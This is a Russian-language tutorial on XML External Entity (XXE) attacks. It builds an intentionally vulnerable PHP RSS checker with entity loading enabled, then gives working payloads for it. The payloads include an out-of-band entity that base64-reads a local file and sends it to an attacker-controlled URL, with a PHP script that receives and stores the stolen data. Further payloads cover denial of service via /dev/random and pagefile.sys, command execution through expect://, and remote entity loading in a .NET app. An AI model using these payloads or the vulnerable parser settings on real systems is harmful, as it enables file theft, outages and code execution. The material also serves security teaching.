XXE
Life-HackИ снова всем привет. А сегодня будет разговор об XXE – атаках, что это, почему, зачем, а главное посмотрим нагрузки и пример в .Net приложениях.
Идея уязвимости в том, что мы используем внешние сущности при парсинге xml файлов, рассмотрим сразу пример.
Создадим файл index.php у себя на сервере. (код частично взят с root-me.org)
<?php echo '<html>'; echo '<header><title>XXE</title></header>'; echo '<body>'; if ( ! isset($_GET['action']) ) $_GET['action']="checker"; if($_GET['action'] == "checker"){ libxml_disable_entity_loader(false); libxml_use_internal_errors(true); echo '<h2>XXE</h2> <form method="post" action="index.php"> <input type="text" name="url" placeholder="" /> <input type="submit" /> </form>'; if(isset($_POST["url"]) && !(empty($_POST["url"]))) { $url = $_POST["url"]; echo "<p>URL : ".htmlentities($url)."</p>"; try { $ch = curl_init("$url"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT ,0); $inject = curl_exec( $ch ); curl_close($ch); $string = simplexml_load_string($inject, null, LIBXML_NOENT); if ( ! is_object($string)) throw new Exception("error"); foreach($string->channel->item as $row){ print "<br />"; print "==================================================="; print "<br />"; print htmlentities($row->title); print "<br />"; print "==================================================="; print "<br />"; print "<h4 style='color: green;'>XML document is valid</h4>"; } } catch (Exception $e) { print "<h4 style='color: red;'>XML document is not valid</h4>"; } } } if($_GET['action'] == "auth"){ echo '<strong>Login</strong><br /><form METHOD="POST"> <input type="text" name="username" /> <br /> <input type="password" name="password" /> <br /> <input type="submit" /> </form> '; } echo '</body></html>'; ?>
Вот так выглядит наша форма
А теперь взглянем на такой XML файл, вроде бы ничего необычного.
<?xml version="1.0" encoding="UTF-8" ?> <rss version="2.0"> <channel> <title>W3Schools Home Page</title> <link>http://www.w3schools.com</link> <description>Free web building tutorials</description> <item> <title>RSS Tutorial</title> <link>http://www.w3schools.com/xml/xml_rss.asp</link> <description>New RSS tutorial on W3Schools</description> </item> <item> <title>XML Tutorial</title> <link>http://www.w3schools.com/xml</link> <description>New XML tutorial on W3Schools</description> </item> </channel> </rss>
Загрузим его в отдельный файл на сервер и скормим нашему текстовому полю.
В результате получаем сообщение, что наш xml файл валидный, то есть это означает, что структура тегов нашего xml совпадает с ожидаемой, а так же видим, что вывелся загловок RSS Tutorial, то есть у нас есть вывод.
Теперь изменим файл и добавим DTD сущность
<!DOCTYPE rss [ <!ENTITY shp "CODEBY"> ] > <rss version="2.0" xml:base="http://example.com" xmlns:dc="http://purl.org/dc/elements/1.1/"> <channel> <title>XXE</title> <link>http://example.com</link> <description></description> <language>en</language> <item> <title>Hello &shp;</title> <link>http://example.com</link> <description>some bullshit</description> <comments>http://example.com#comments</comments> <category domain="http://example.com">xxe</category> <pubDate>Thu, 15 Jan 2015 23:08:50 +0000</pubDate> <dc:creator>Unknown</dc:creator> <guid isPermaLink="false">31337</guid> </item> </channel> </rss>
Получаем в результате запроса следующий вариант.
Но не всегда парсеры выводят содержимое на страницу. В таком случае нам поможет техника Out-Of-Band. Это техника работает в три этапа.
Этап первый – создаем нагрузку.
XML:
<!ENTITY % payl SYSTEM "php://filter/read=convert.base64-encode/resource=CoDEbY.php"> <!ENTITY % intern "<!ENTITY % trick SYSTEM 'URL/get.php?s=%payl;'>">
Видим, что на этот раз файл состоит из двух сущностей, одна которая создает Payload, вторая, которая отсылает его на внешний сервис.
Этап второй – создаем принимающий скрипт
<?php $character = $_GET["s"]; $file = fopen("flag.txt","w"); fwrite($file,$character); fclose($file); ?>
Этап третий - подгружаем в наш скрипт ссылку на на payload с этапа 1 и читаем файл flag.txt
В результате видим закодированное в base64 - сообщение, которое после расшифровки означает:
Векторы XXE
1) Читать локальные файлы и ресурсы с помощью врапперов php://, file://
2) Проводить DOS атаки
3) Получить RCE
Если с DDOS payloads всё понятно (приведу их ниже)
<!DOCTYPE input [<!ENTITY pay SYSTEM "file:///dev/random" >]> &pay; для linux
<!ENTITY dos SYSTEM "c:\pagefile.sys"> для windows
то посмотрим на последний вариант.
Здесь, для получения RCE, используется wrapper except.
Пример:
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE rss [ <!ENTITY shp SYSTEM "expect://id"> ] >
Результат
На этом закончим с веб приложением и если с вебом всё более-менее понятно, взглянем как эксплуатировать OOB в .Net приложениях.
Для этого я написал небольшое приложение.
private void button1_Click(object sender, EventArgs e) { openFileDialog1.ShowDialog(); string xml = File.ReadAllText(openFileDialog1.FileName); XmlDocument xmlDoc = new XmlDocument(); xmlDoc.XmlResolver = null; xmlDoc.LoadXml(xml); MessageBox.Show(xmlDoc.InnerText); }
После нажатия кнопки программа просит выбрать файл xml, выберем файл с содержимым.
<?xml version="1.0" ?> <!DOCTYPE doc [<!ENTITY win SYSTEM "URL/321.xml" >]> <doc> &win;</doc>
В результате получаем профит, текст именно в этом файле.
На этом всё
https://github.com/enjoiz/XXEinjector а вот мощная тулзочка для автоматической эксплуатации. Источник